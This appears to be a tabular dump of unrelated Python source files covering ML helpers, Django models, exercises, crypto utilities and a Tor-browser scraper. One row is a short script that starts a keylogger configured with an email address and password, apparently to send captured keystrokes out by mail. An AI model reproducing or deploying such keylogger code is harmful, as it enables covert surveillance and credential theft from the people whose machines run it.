index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
11,900 | 65725b7b61ba7a665624c73521b2ff76b3481e28 | from __future__ import division
from tthAnalysis.bdtHyperparameterOptimization import xgb_tools as xt
import os
import shutil
import urllib
import gzip
from tthAnalysis.bdtHyperparameterOptimization import mnist_filereader as mf
dir_path = os.path.dirname(os.path.realpath(__file__))
resources_dir = os.path.join(dir_pat... |
11,901 | ad85bae4eb45425a74c2c8191c37232746a70dd0 | # uncompyle6 version 3.3.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.3 (default, Apr 24 2019, 15:29:51) [MSC v.1915 64 bit (AMD64)]
# Embedded file name: c:\Jenkins\live\output\win_64_static\Release\python-bundle\MIDI Remote Scripts\_Framework\Defaults.py
# Compiled at: 2018-11-30 15:48:11
from __futu... |
11,902 | 98f5a98b84b86f91b5de475f1bf8efead37871f8 | import pandas as pd
import numpy as np
dataset = False
if dataset:
filename = 'all_features_test_OneHot.csv'
else:
filename = 'all_features_train_OneHot.csv'
df = pd.read_csv(filename)
df.head()
df=df.drop('Unnamed: 0',axis=1)
df.shape
from sklearn.model_selection import train_test_spl... |
11,903 | 53504dd48a9d6960937430c1915baba4ac6079a3 | from StringIO import StringIO
from pandas import DataFrame, options
from IPython.display import HTML, display, clear_output
import sys
options.display.float_format = '{:2.2f}%'.format
class Status(StringIO):
def __init__(self, total, line_count):
StringIO.__init__(self)
self.container = {}
... |
11,904 | 6ec05a098ac506163ee9445ed68945a233bb2a8c | # A car can cover distance of N kilometers per day. How many days will it take to cover a route of length M kilometers? The program gets two numbers: N and M.
import math
n = int(input())
m = int(input())
days = math.ceil(m / n)
print(days) |
11,905 | 63bb9b2d13584ad3fd63438c12ff4a93d7fe31b9 | import os
from time import time, ctime
import shutil
defaultargs = {
"backup_off" : None,
"number_of_concordances" : 10,
"buffer_size" : 1000000,
"disable_english_filter" : None,
"extend_corpus" : None,
"verbosity" : 0,
"encoding" : None,
"max_per_page" : None,
"output" : "",
"part_of_speech" : ".*",
"bazwo... |
11,906 | c4b889201df491f305d142fbfeaf8a114c18c75f | #!/usr/bin/env python
import keylogger
my_keylogger = keylogger.Keylogger(4,"youremail@email.com","yourpassword")
my_keylogger.start() |
11,907 | 51eda076269bd311c60227a31c075dcb05ab365c | import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="datacleanbot",
version="0.4",
author="Ji Zhang",
author_email="",
description="automated data cleaning tool",
long_description=long_description,
long_description_content_type="text... |
11,908 | ce81168685d42b63355450913856950e68e85df0 | def square_matrix():
from numpy import zeros, linalg, linspace, sqrt, sin, pi, sum, sort
A = zeros([5, 5])
n = 0
while n <= 4:
A[n, n] = 2
n = n + 1
n = 0
while n <= 3:
A[n, n + 1] = 1
A[n + 1, n] = 1
n = n + 1
H = (1/ (1/4)) * A
return H
def ... |
11,909 | b639bb987276e1afd870b0537138d695495e3451 | from tenable_io.api.base import BaseApi
from tenable_io.api.models import AgentList
class AgentsApi(BaseApi):
def delete(self, agent_id):
"""Deletes the given agent.
:param agent_id: The Agent ID.
:raise TenableIOApiException: When API error is encountered.
:return: True if succ... |
11,910 | 00f6f2a7c09363f10999548f7a6bd396bbf34e86 | # raja op
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import os
'''msg=msg.encode()
key=key.encode()'''
iv = os.urandom(16)
def has(key):
digest = hashes.Hash(hashes.SHA256())
digest.update(key)
k... |
11,911 | dfb1cc6cd699956ac3bf63722c250ec913cbc1ca | """
File: phone_book.py
-----------------
This program allows the user to store and lookup phone numbers
in a phone book. They can "add", "lookup" or "quit".
"""
def main():
print("Welcome to Phone Book! This program stores phone numbers of contacts. You can add a new number, "
"get a number,or quit ... |
11,912 | 8cee71fe7be0cf9b19628563967927368db37f69 | from asyncio import wait
from telnetlib import EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.wait import WebDriverWait
from tbselenium.tbdriver import TorBrowserDriver
import time
fro... |
11,913 | e838cb8e57fa940f997ba6153be2cf3b26133c6a | #!/usr/bin/python3
class Square:
pass
s = Square()
|
11,914 | 2d7e9f015852faaed561a9ba08fab49371322253 | year=int(input("Enter a year"))
if((year%4==0 and year%100!=0) or (year%400==0)):
print(f"{year} is LEAP YEAR...")
else:
print(f"{year} is COMMON YEAR....")
|
11,915 | d359387a4a920824f36c8bd0bdb19b4a5e6f8e87 |
from StackLinked import StackLinked
stack = StackLinked()
print("------------------------------------")
print("-\t\t\"EMPTY STACK LIST \" - \n\n")
stack.peek()
print("=====================================\n")
print("------------------------------------")
print("-\t\t\"PUSH ELEMENT \" -")
pri... |
11,916 | d04466f11658abfe0603529e328b7942634dae11 | #!/usr/bin/env python
'''
set a valid door name, find '***'
'''
import taurus
import sys
from taurus.external.qt import QtGui
from taurus.external.qt import QtCore
from taurus.qt.qtgui.application import TaurusApplication
# ***
DOOR_NAME = 'p09/door/haso107d1.01'
def main():
app = QtGui.QApplication.instance(... |
11,917 | 4a9c2973069852d807bac059e3caa1731899dd9b | import os
from getpass import getpass
from netmiko import ConnectHandler
from datetime import datetime
start_time = datetime.now()
log_file = open("log.txt", "w")
device1 = {
"host": "nxos2.lasthop.io",
"username": "pyclass",
"password": "88newclass",
"device_type": "cisco_ios",
"global_delay_fac... |
11,918 | ca1f9590b3f3f8a7f55f47c508286f6a75912e8a | #REFERENCES:
#https://pythonprogramming.net/client-chatroom-sockets-tutorial-python-3/
#https://realpython.com/python-sockets/
#############################################!!!IMPORTANT!!!#############################################
#allow 1234 port on BOTH raspberry pi and PC server. For that, on linux command line, ... |
11,919 | d627839f91f7399985501b7bbff913b9843273b1 | import numpy as n
import matplotlib.pyplot as pyp
from DMClasses import *
from DMInteractions import *
from DMPlots import *
pyp.rcParams['axes.grid'] = True
pyp.rcParams.update({'font.size': 16})
pyp.rc('text', usetex=True)
pyp.rc('font', family='serif')
LZ_target = Target( 131.293 , 54.0 , 7.0e3 , 1.0 ... |
11,920 | 791286ee828dfd0252946ee6a8b56a49c2e61cde | from selenium.webdriver.common.by import By
from base.base_action import BaseAction
class SavedContactPage(BaseAction):
name_title = By.ID, "com.android.contacts:id/large_title"
def get_name_title_text(self):
return self.get_text(self.name_title) |
11,921 | 976713fa0ede53808e7a2f80ea4286f9672e3b69 | import pickle
def list_pickler(path, my_list):
f = open(path, 'wb')
pickle.dump(test_list, f)
f.close()
def unpickler(path):
f = open(path, 'rb')
test_list = pickle.load(f)
f.close()
return test_list |
11,922 | 2f20b6fcc270e4ff59028e7cfd9d4254f375c96b |
import FWCore.ParameterSet.Config as cms
from UACastor.CastorTree.TightPFJetID_Parameters_cfi import TightPFJetID_Parameters as TightPFJetID_Parameters_Ref
from UACastor.CastorTree.LooseCaloJetID_Parameters_cfi import LooseCaloJetID_Parameters as LooseCaloJetID_Parameters_Ref
from UACastor.CastorTree.TightCaloJetID_P... |
11,923 | 609a41e728ada727fcd6cb48e536a7256c8d9c0d | from rest_framework import mixins, status
from rest_framework.viewsets import GenericViewSet
from rest_framework.exceptions import PermissionDenied
from rest_framework.response import Response
from tcas.models import Contribution, Team, TeamMember
from tcas.serializers import ContributionSerializer, ContributionCreate... |
11,924 | b578df1feee0a97e881879de88c40fd4d4854a5b | __author__= "shifeng007" |
11,925 | d3f63588004914e0c5aeb88e18108aa355444991 | import demjson
import json
# From Python to JSON
a = demjson.encode(['one', 42, True, None])
print("a =", a)
# a = "asdfasd" # 不是json格式的也ok, 所以可以理解为这个 demjson 简单理解为可以储存读取文件
json = json.dumps(a)
print("json =", json)
# From JSON to Python
b = demjson.decode('["one",42,true,null]')
print("b =", b)
# 将a对象,写到 a.json 文... |
11,926 | 1f5b23472cc1d75e1ce34d2cddd51505c458007e | import requests
from bs4 import BeautifulSoup
URL = 'https://www.zimmersdaka90.co.il' # Define URL
page = requests.get(URL)
soup = BeautifulSoup(page.content, 'html.parser')
results = soup.find(class_='boxWrapper')
obj_elemnts = results.find_all('div', class_='recBox')
for obj_element in obj_elemnts:
title_... |
11,927 | bfbf88d106fe9100d0c42a95fb4759fdd87c79f4 | #!/usr/bin/env python
## -*- coding: cp437 -*-
#What a mess...
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except ImportError:
print("[!]Install scapy to use this module.")
exit()
from datetime import datetime
import Queue
import threading
import sys
src_... |
11,928 | da008d88283898b7d075806a91bc11243cb9e302 | import frappe
from frappe.model.naming import make_autoname
# from frappe.permissions import add_user_permission
def autoname(doc, event):
doc.name = make_autoname("PHY-.#####")
def validate(doc, event):
doc.full_name = "{first_name} {last_name}".format(**doc.as_dict())
def after_insert(doc, event):
create_user(... |
11,929 | 4fa1f0b53c172d48ab00d57a023b87fc34dc6ccc | def format_float(number):
return float(format(number, '.2f'))
def calc_years(seconds, orb_period = 1):
period = 365.25 * orb_period
minutes = seconds / 60
hours = minutes / 60
days = hours / 24
years = days/period
return years
class SpaceAge(object):
def __init__(self, seconds):
... |
11,930 | 69bd5d2dcd620fe5e4ce3c7bdbfe6e532a51b79b | """
Metropolis-Hastings 采样算法解决了Metropolis要求变量分布对称性的问题
也可以将Metropolis看作是Metropolis-Hastings的特殊情况,即q_{ij} = q_{ji}
测试Metropolis-Hastings 算法对多变量分布采样
对多变量分布采样有两种方法:BlockWise和ComponentWise
BlockWise: 需要与样本属性数量相同的多变量分布,每次生成一条数据
ComponentWise:每次生成一条数据的一个属性,相较于BlockWise没有前提要求
参考:https://blog.csdn.net/google19890102/article/det... |
11,931 | 2eb8f7bf18b9b50cbd74ab542ea775a861431536 | import numpy as np
attribute_File_Path = "D:/Simulation_Raw_Data/CelebA/list_attr_celeba.txt"
image_Files_Dir = "D:/Simulation_Raw_Data/CelebA/img"
select_Attribute_List = ["Black_Hair", "Blond_Hair", "Brown_Hair", "Male", "Young", "Pale_Skin"] #If 'None', model use all attributes
image_Size = 128
initial_Filt... |
11,932 | d6d25d64172f133f7259f62ca1583f7a506f5a20 | from django.dispatch import receiver
from .models import User, Profile
from django.db.models.signals import (post_save, post_delete)
from.task import one_sending
from django.shortcuts import reverse
@receiver(post_save, sender=User)
def user_post_save(sender, instance, created, *args, **kwargs):
if created:
... |
11,933 | 178f859a0973e968c301570e976c6b678d3b4ab4 | # -*- coding: utf-8 -*-
"""trapezoidal.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/14FqIk6y_oVN6rLuk4jRLcSCQfweSmHcX
"""
############******* Integration of a function using Trapezoidal method *********#############
#This module contains othe... |
11,934 | 6d9cacfa3646743c16c5f51f1468e2f6a09e44c3 | #
# 7/2023: allowing an optional weight column in the input data file
# improving encapsulation of functions
# Help to find continuous spectrum
# March 2019 major update:
# (i) added plateau modulus G0 (also in pyReSpect-time) calculation
# (ii) following Hansen Bayesian interpretation of Tikhonov to extrac... |
11,935 | 94d5e8f87f87d68419b21cc275165a9392040518 | # -*- coding: utf-8 -*-
def partition(nums, start, end):
if len(nums) <= 0 or start < 0 or end >= len(nums) or start > end:
return
pivot = nums[start]
while start < end:
while start < end and nums[end] >= pivot:
end -= 1
nums[start] = nums[end]
while start < end... |
11,936 | a2b8d6418eed20e484721f8b750792355d042f47 |
def test_dynamicdata(datasetdynamic):
print(datasetdynamic)
|
11,937 | cf6d499755888fbcebd2cc62fb9125c6759b9ba2 | #creating a functione group_by_owners
def group_by_owners(dict):
finalDict={}
for key,values in dict.items(): #iterating on the dictionary items
finalDict[values]=finalDict.get(values,[])+[key] #creating a list of values of dictionary and appending it with keys
print(finalDict)
return f... |
11,938 | f273e8924845ab5ac5bbecd9a48d804ed04f808a | # Generated by Django 3.1.7 on 2021-04-30 13:03
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('apirest', '0013_auto_20210430_0901'),
]
operations = [
migrations.RenameField(
model_name='artista',
old_name=... |
11,939 | 57a3552f8fd84485ade632114893d1124d4e1f5e | # Generated by Django 3.0.4 on 2020-05-24 09:34
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('activity_record', '0016_activerecord_study_amount'),
]
operations = [
migrations.AddField(
model_name='activerecord',
... |
11,940 | f955640a30421ae9c9fb03cef10b8296010fecc0 | import numpy as np
import cv2
from mpl_toolkits import mplot3d
import numpy as np
import matplotlib.pyplot as plt
first = True
neighbor = [
[1, -1, 0],
[1, 0, -1],
[0, 1, -1],
[0, -1, 1],
[-1, 0, 1],
[-1, 1, 0]
]
with open('error_keep.csv', 'r') as f:
f.readline()
for i in ran... |
11,941 | 0c08041322a0ef1caa76064b6d457997f46181aa | from django.db import models
from MHLogin.DoctorCom.models import Click2Call_Log, MessageLog, PagerLog
from MHLogin.MHLUsers.models import MHLUser
class TwilioCallGatherTest(models.Model):
tester = models.ForeignKey(MHLUser)
callid = models.CharField(max_length=34, blank=True, null=True)
debug_data = models.Text... |
11,942 | 58f40601442b90ffbc2ddb3bcee2133371a5abfe | import torch
import torch.nn as nn
class ConvLstm(nn.Module):
def __init__(self, in_channels, kernel_size, padding_mode="reflect"):
super(ConvLstm, self).__init__()
padding = kernel_size // 2
self.convi = nn.Sequential(
nn.Conv2d(in_channels=2*in_channels,
... |
11,943 | 15855f112158eac630e2f00709e4712dd224e673 | """google_Shuffle_Pattern.py
Given a hand of cards, and you need to shuffle it. Assume that you always shuffle
the cards exactly the same way.
Will the cards reach the original state if you keep shuffling it? And if so, given
the shuffle pattern, how many times it will take to shuffle it back to its original
state?
P... |
11,944 | 748d72eff78c4f50d99eb99e2f57c085b5781cde | """
tint.tracks
===========
Cell_tracks class.
"""
from __future__ import annotations
import copy
from typing import Dict, Iterator, Optional, cast
import numpy as np
import pandas as pd
from tqdm.std import tqdm
from .config import config as tint_config
from .grid_utils import extract_grid_data, get_grid_size, g... |
11,945 | bd7af4b2bb0cadf3f34db76da05ee88ea8d21a12 | import pickle
import pandas as pd
import numpy as np
import sys
from src.Node import Node
from src.NCMTree import NCMTree
from src.NCMForest import NCMForest
import itertools
from sklearn.metrics import accuracy_score
from sklearn.model_selection import train_test_split
import time
from datetime import datetime
import... |
11,946 | 5c56be35cd0a0efc0d41da2ad1701a202a0a0c77 | #ZHU Yiming; ZHENG Nianzhao; MAO Zhenyu
import asyncio
import logging
import socket
from router import Router
class Session:
def __init__(self, sock, addr):
self.sock = sock
self.addr = addr
logging.info(f"Coming Request from {addr}")
class HttpServer:
HTTP_HOST = "127.0.0.1"
H... |
11,947 | 7bb985c50b3d8b22f77c118f8fd19da84cde4720 | import json
import csv
from pymongo import MongoClient
# Compose.io url
MONGOHQ_URL = "mongodb://codeguild2:pleese-keep-secret@dharma.mongohq.com:10023/qscfadm"
def get_storage_class(format):
'''Given a file type, return a class that can store that format'''
kStgMap = {
'json' : TodoListJsonFi... |
11,948 | 8e6b0e58c7e8af1cfd6ab9688d581d39ae759be3 | # Generated by Django 3.2.5 on 2021-07-18 01:11
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('laRoja', '0007_alter_noticia_imagen'),
]
operations = [
migrations.CreateModel(
name='Contactenos',
fields=[
... |
11,949 | 0288d1bf712edc9eefc520aed698015c09cdb283 | game_array = [[0, 0, 0],
[0, 0, 0],
[0, 0, 0],]
def game_board(game_map, value=0, row=0, column=0):
try:
game_map[row][column]=value
print(" a b c")
for count, array in enumerate(game_map):
print (count,array)
return game_map
except IndexError as e:
print("Error: Make sure you give row/co... |
11,950 | ad61552496e9278e43b791adcfcb3fadcf656d46 | from KnowledgeAcquirer import KnowledgeAcquirer
import json
class KnowledgeBase:
def __init__(self):
self.knowledgeAcquirer = KnowledgeAcquirer()
self.facts = []
def getFacts(self, question):
self.facts = self.getKnownFacts(question)
if (self.facts == []):
self.fa... |
11,951 | c3be103b8c5dbd741575df91ba7b9b01cfb6b7a0 | import cv2
import easygui
import os
def set_cam():
filepath = "setting.txt"
if os.path.isfile(filepath):
print("setting.txt存在。")
f = open('setting.txt','r')
#print(type(f.read()))
return int(f.read())
else:
print("setting.txt不存在。")
for i in range(10):
cam... |
11,952 | 22a5b8e75044574bed0dd4ee4d4b2efb842fabb2 | import attr
import re
import requests
from base import config
from base.constants import TelegramConstants
from logic.bigram_model import BigramModel
@attr.s
class Message(object):
speaker = attr.ib()
text = attr.ib()
class ModelCreatorLogic(object):
DATETIME = re.compile(r'\[?\d{1,2}[/.]\d{1,2}[/.]\d{... |
11,953 | 32742376dd67ceac7d6e5fa3788dd3c42b319a3e | # Google Code Jam 2012
# Pawel Przytula
# p.przytula@students.mimuw.edu.pl
# Input reading helpers
import sys
def readline():
s = sys.stdin.readline()
return s.strip()
def readints():
return [int(x) for x in readline().split()]
# END helpers ---------
if __name__ == "__main__":
t = readints()[0]
for i in... |
11,954 | 9ac9e09df72620cb9d948877c0e53aaedc1d0fd2 | # -*- coding: utf-8 -*-
"""
URL: http://adventofcode.com/2017/day/1
Part 1:
The captcha requires you to review a sequence of digits (your puzzle input)
and find the sum of all digits that match the next digit in the list.
The list is circular, so the digit after the last digit is the first digit
in the list.
Part 2:
... |
11,955 | fd82eec3d1a2abb2d2f4bae48c6a8187fddb47a9 | import os
class Export:
def __init__(self, filename, data):
self.__filename = filename
self.__data = data
def get_filename(self):
return self.__filename
def get_data(self):
return self.__data
def import_data(self):
f = open(os.path.abspath('export') + "/" + ... |
11,956 | 58bd9e4c1590ee9698fa060477883680f830b318 | import sys
from userfile import initial_position, primitive, gen_moves, do_moves
def solve(parents):
children = []
# generate all children of parents;
# end if one is a win, remember ties,
# exclude primitives from being parents next
for p in parents:
moves = gen_moves(p)
for m in moves:
d = do_moves(p... |
11,957 | c13e3456022e333ceaa49391e7a3f66786bded0e | # Copyright 2015 Metaswitch Networks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... |
11,958 | 80697755c72f5574dc3dffc5b617c83dfbab71d3 | from collections.abc import Iterable, Mapping, Sequence
from datetime import datetime
from typing import Any, Generic, TypeVar
from django.contrib.sites.models import Site
from django.contrib.sites.requests import RequestSite
from django.core.paginator import Paginator
from django.db.models.base import Model
from djan... |
11,959 | 0a9ab664c67996e19c2b37cb83f4d413b1e3acbe | import numpy as np
import matlotlib.pyplot as plt
import mnist
from conv import Conv3x3
image = plt.imread('ITCrowd.png')
def __init__(self, num_filters):
self.num_filters = num_filters
# num_filters max boyutu 8,4.. gibi
self.filters = np.random.randn(num_filters, 3, 3) / 9 # 8 tane (3,3) luk matris ü... |
11,960 | b0bee03073e189c1957bdbd8be4a610daef57835 | class Solution:
# @param A : list of integers
# @return an integer
def maxp3(self, A):
A = sorted(A)
if A[-1] < 0:
return A[-1] * A[-2] * A[-3]
else:
third_number = A[-1]
other_two_mult = max((A[0]* A[1]), (A[-2]* A[-3]))
retur... |
11,961 | 44389101955f2d7259b1deaf4b9f2092f589f529 | from django.http.response import HttpResponse
from django.shortcuts import render, redirect
from django.views.generic.base import View
from django.conf import settings
import itertools
import json
from datetime import datetime
import random
def read_news_from_json() -> []:
with open(settings.NEWS_JSON_PATH, 'r'... |
11,962 | 570de10c5fa5aafcacd808447e7e9564b2e288cf | #!/usr/bin/python3
# coding: utf8
import os
import json
import tables
import datetime
import h5py as h5
import pandas as pd
from pickle import UnpicklingError
from tqdm import tqdm
from sxapi import LowLevelAPI, APIv2
from sxapi.low import PrivateAPIv2
from anthilldb.client import DirectDBClient
from anthilldb.setting... |
11,963 | 8bcf943657aa93117c951a2e31ac62e71cdb3f5f | # -*- coding: utf-8 -*-
"""
Created on Mon Feb 09 16:50:14 2015
@author: VishnuC
@email: vrajs5@gmail.com
Beating the benchmark for Microsoft Malware Classification Challenge (BIG 2015)
"""
from joblib import Parallel, delayed
import os
import gzip
from csv import writer
import six
import numpy as np
r... |
11,964 | 389d7aaaa82ffa230168cf5ce02c6db600d12cf2 | # Generated by Django 3.1.7 on 2021-05-09 11:54
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('userpage', '0005_auto_20210508_1717'),
]
operations = [
migrations.AddField(
model_name='userdetails',
name='distric... |
11,965 | c4fdc6bfd5a6164ebce28aa6829b60e45865278c | import pathGenerator
import bucketVisualization
import SegmentedFourierRepresentation
import matplotlib.pyplot as plt
#orange is approximation, black is actual
read_in_trajectories = pathGenerator.read_trajectories_from_file("circling_400(20, 15, 15, 10, 10, 10, 10, 10, 0, 0).txt")
trajectory = read_in_trajectories[5... |
11,966 | 6f96eec87c56a56880b6c0fb394e9099380cf3cc | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 4 17:02:22 2019
@author: scream
"""
import math
import pickle
with open("arkanoid/log/2019-04-15_13-49-34.pickle", "rb") as f:
data_list = pickle.load(f)
# save each information seperately
Frame=[]
Status=[]
Ballposition=[]
PlatformPosition=[]
Bricks=[]
for i in ran... |
11,967 | a45b9888e9a34ec5fa61fef27f552b43001aa28a | import csv
dire={}
i=3
while i!=0:
name=input('Enter Name: ')
usn=input('Enter USN: ')
dire[usn]=name
with open('direc.csv', 'a', newline='') as csvfile:
spamwriter = csv.writer(csvfile)
spamwriter.writerow([usn] + [name.title()])
i-=1
with open('direc.csv', newline='') as csvfile:
spamreader = csv.reader(c... |
11,968 | 6aaad8bcdb03f4a61558d1dac73d6cad7de7f5bb | # -*- coding: utf-8 -*-
from django.db import models
from django.template.defaultfilters import slugify
from django.contrib.auth.models import User
from lugar.models import *
from multiselectfield import MultiSelectField
from sorl.thumbnail import ImageField
# Create your models here.
class Status(models.Model):
nomb... |
11,969 | b34c91a555ccc75421794ee67d4b0c298663856e | def funct(number):
sum = 0
for i in range(number):
sum += a_list[i]
return sum**2
a_list = [12, -7, 5, -89.4, 3, 27, 56, 57.3]
a = funct(len(a_list))
print(a) |
11,970 | 9965ad0be248a364eb271ee8313656d0129a705f | import json
import os
drinks = {}
for filename in os.listdir('.'):
if filename.endswith('.json') and filename[:-5].isnumeric():
with open(filename) as json_file:
drink_js = json.load(json_file)
drink_name = drink_js['strDrink']
drink_text = ''
if ... |
11,971 | 048b79cdfb664c998b14495fa700993d884c0c65 | S = sorted(list(set(list(input()))))
alfabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
count = 0
for char in alfabet:
if not(char in S):
print(char)
break
count+=1
if count == 26:
print("None") |
11,972 | bef09f75a4820d326f6102b11a3453d654558abb | def shoping_cart(shop_cart):
cart = shop_cart
print ("wlecome to your shoping cart")
while True:
answer = input("What you wanna to do? \n For see all item print: items. \n For add some items print: add. \n For remove some item print: remove \n For quit print: quit \n")
if answer.lower() == "... |
11,973 | 88db57f9f017099ed8aa2f0987ef3f66a39f0c77 | from datetime import datetime
from sqlalchemy import CheckConstraint
from nb2 import db
class Person(db.Model):
"""
Represents someone that Nostalgiabot has quotes for;
usually an SDE employee.
Most Persons will have a slack_user_id if they still have a Slack account
where the bot is deployed. ... |
11,974 | 488e92adab061996dddf2347fcef030c70c7d597 | # -*- coding: cp1252 -*-
words = ("10 34")
words2 = words.split(" ")
print words2
|
11,975 | 1a33505b173f44fa332c62b51b133564a93c2a9c |
# https://leetcode-cn.com/problems/longest-increasing-path-in-a-matrix/
# 记忆化搜索
class Solution(object):
def longestIncreasingPath(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: int
"""
|
11,976 | 2e6a3d6deab93a4798254a3c5e4d94bf7722a948 | # -*- coding: utf-8 -*-
n = 101
for i in range(1,n):
if i%3 == 0 and i%5 != 0:
i = "Fizz"
print(i)
elif i%3 != 0 and i%5 == 0:
i = "Buzz"
print(i)
elif i%3 == 0 and i%5 == 0:
i = "FizzBuzz"
print(i)
else:
print(i) |
11,977 | b21534b7b29b48242403d7172a961f1f3058815f | #!/usr/bin/env python3
from brain_games import brain_logic
from brain_games import cli
def main():
cli.welcome_user('Find the greatest common divisor of given numbers.')
brain_logic.nod_game()
if __name__ == '__main__':
main()
|
11,978 | 1922703a6b41ba97e4da059530a84c8ea5623b9d | import logging
from logging import Formatter, FileHandler, StreamHandler
from os import environ
from sys import stdout
from discord.ext.commands import Bot
from dotenv import load_dotenv
load_dotenv()
DISCORD_TOKEN = environ["DISCORD_TOKEN"]
logger = logging.getLogger('discord')
logger.setLevel(logging.DEBUG)
# noin... |
11,979 | 0ee126ac867995d652a892accc279c118763e837 | from .encoder import Encoder
class KeywordExtractor:
def __init__(self):
"""
keyword extractor
"""
self.enc = Encoder()
def __call__(self, *args, **kwargs):
return self.enc(*args, **kwargs)
|
11,980 | 9befbccdde0758cc6ef0c35a2471ad4f5e47da73 | from antlr4.tree.Tree import ParseTree
from parser.PlSqlParser import PlSqlParser
from .visitor import Visitor
from .ast.hie_query import HierarchicalQueryNode
from .ast.token import TokenNode
from .ast.table_ref import TableRefNode
from .ast.selected_item import SelectedItemNode
from .ast.dot_id import DotIdNode
fro... |
11,981 | 31cdc6e37ddc376b5d7cad27da985e04b3c235dc | #!/usr/bin/python3.1
from Graph import *
from LettersGenerator import *
from Dictionary import *
class Solver:
""" classe qui résoud le jeu :
self.graph = le graph qui represente toutes les cases du plateau,
self.d = objet Dictionnary,
self.dico = l'arbre dictionnaire
self.lettersList = la liste d... |
11,982 | 569908cb7bf1513404a057c81c3c94e3c8f2241e | from database import connect
import uuid as uuidpkg
import psycopg2.extras
class CollectedDataPoint:
def __init__(self, variableHandle=None, timeFrame=None, value=None, organization_uuid=None, uuid=None,
interaction_uuid=None, variable_uuid=None):
self.variableHandle = variableHandle
... |
11,983 | c936b9cc1aaf34f4f77f9652b90fafe85476aec7 |
import copy
from collections import OrderedDict
import ast
from utils import BindingDict
from fields import CharField, Field, IntegerField
from orm_wrapper import DemoPicker
from validators import ValidationError
# get all fields
class SerializerMetaclass(type):
def __new__(cls, name, bases, attrs):
f... |
11,984 | 5f565966c94c7e6fc00040cd897a542c92a93da7 | # -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class ScrapyBloomfilterItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
pass
class NewsItem(scrapy... |
11,985 | 188913192a16316ad9344d34e35ceb571ff9126b | from django.shortcuts import render, redirect
from django.contrib.auth.forms import UserCreationForm,AuthenticationForm
from django.contrib import messages
from django.contrib.auth import login
from django.contrib.auth import logout
from django.contrib.auth import authenticate
from django.contrib.auth.decorators import... |
11,986 | cd54a5bceccd088e322097382cb8445988f65664 | #!usr/bin/python
# -*- coding:utf-8 -*-
from common.Log import *
from Server import *
from common.DeviceManager import *
import threading
class ServerManager:
def __init__(self):
self.testdevices = DeviceManager.testdevices
self.serverobjects = []
self.threads = []
def start_all_serv... |
11,987 | 0c84be7c990cfc3fe0454065baaf2c5ca8c6517d | from django.conf import settings
PAYPAL_SUBS_CLIENT_ID = getattr(settings, "PAYPAL_SUBS_CLIENT_ID", None)
PAYPAL_SUBS_SECRET = getattr(settings, "PAYPAL_SUBS_SECRET", None)
PAYPAL_SUBS_LIVEMODE = getattr(settings, "PAYPAL_SUBS_LIVEMODE", False) # or 'live'
PAYPAL_SUBS_WEBHOOK_ID = getattr(settings, 'PAYPAL_... |
11,988 | 5db528bd854d0397587a6243382f95e0e4d65aeb | __version__ = '0.1'
default_app_config = 'jsonmirror.apps.JsonmirrorConfig' |
11,989 | bc404bb8b60ef8bea21f3de815e6d0206aacb3d3 | # Generated by Django 3.2.5 on 2021-09-07 22:37
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='User',
fields=[
... |
11,990 | 2391cda134deb737b587bee94b995db5f71bac89 | #!/usr/bin/env python
#
# check percentage of available DAOD events that were used in a production by comparing DxAOD yields (from CxAOD files)
# with the AMI DxAOD yields
# Note on yields files format:
# yields file where 3rd column is number of DxAOD input events made using count_Nentry_SumOfWeight.py and countNumb... |
11,991 | fe801d6dc871e6345a178dab72c2ee8bd35c9535 | #!/usr/bin/env python
"""
Representations for a set of inputs.
"""
from ag_frame.algorithms.representations import base
from ag_frame.algorithms import utils
class BitArray(base.BaseRepresentation):
"""Base Representation."""
# If this is a combinatoric representation
COMBINATORIC = False
# The na... |
11,992 | 4ee8b52e71426cb9937118ae4052e2ac15124d47 | import abc
from abc import ABC, abstractmethod
# Connection Interface
class connection(ABC):
@abc.abstractmethod
def getData(self):
pass
@abc.abstractmethod
def setData(self):
pass
#DB Class
class DatabaseService(connection):
@classmethod
def getData(self):
... |
11,993 | 19572b18b148c8edb76cc6683fe58de99de64abf | #Author - Kaustabh Singh
t=int(input())
for i in range(t): #for test cases
a=list()
s=int(input()) #for matrix size
for j in range(s):
inp = list(map(int,input().split())) #taking input for each row
a.append(inp)
c=0
for j in range(s):
for k in range(s):
... |
11,994 | 75d61344a651de48913a941c4a0a269052545d9e | import torch
from torch import nn
from torch.distributions.categorical import Categorical
from torch.nn import functional as F
import math
import torch
from resnet import ResNetEncoder
class Policy(nn.Module):
def __init__(self, env_config, num_players=2, max_entities=10):
super(Policy, self).__init__()
... |
11,995 | 29ebb74d1378b2aceeb89a17d945538f38964b9a | # Turn Stereo Signals To Mono And Shorten
# Turn from stereo to mono
def mono(source):
source_mono = source[0:,0]
return source_mono
# Reduce the source to X seconds
# Takes in mono file, sampling rate, and amount of seconds desired
# outputs file cut to seconds
def cut(source, Fs, seconds):
cut_sourc... |
11,996 | c1fe0a109a3b28dba6b2e8d8a0affa690e4067ec | from datetime import datetime, timedelta
from django.contrib.admin.views.decorators import staff_member_required
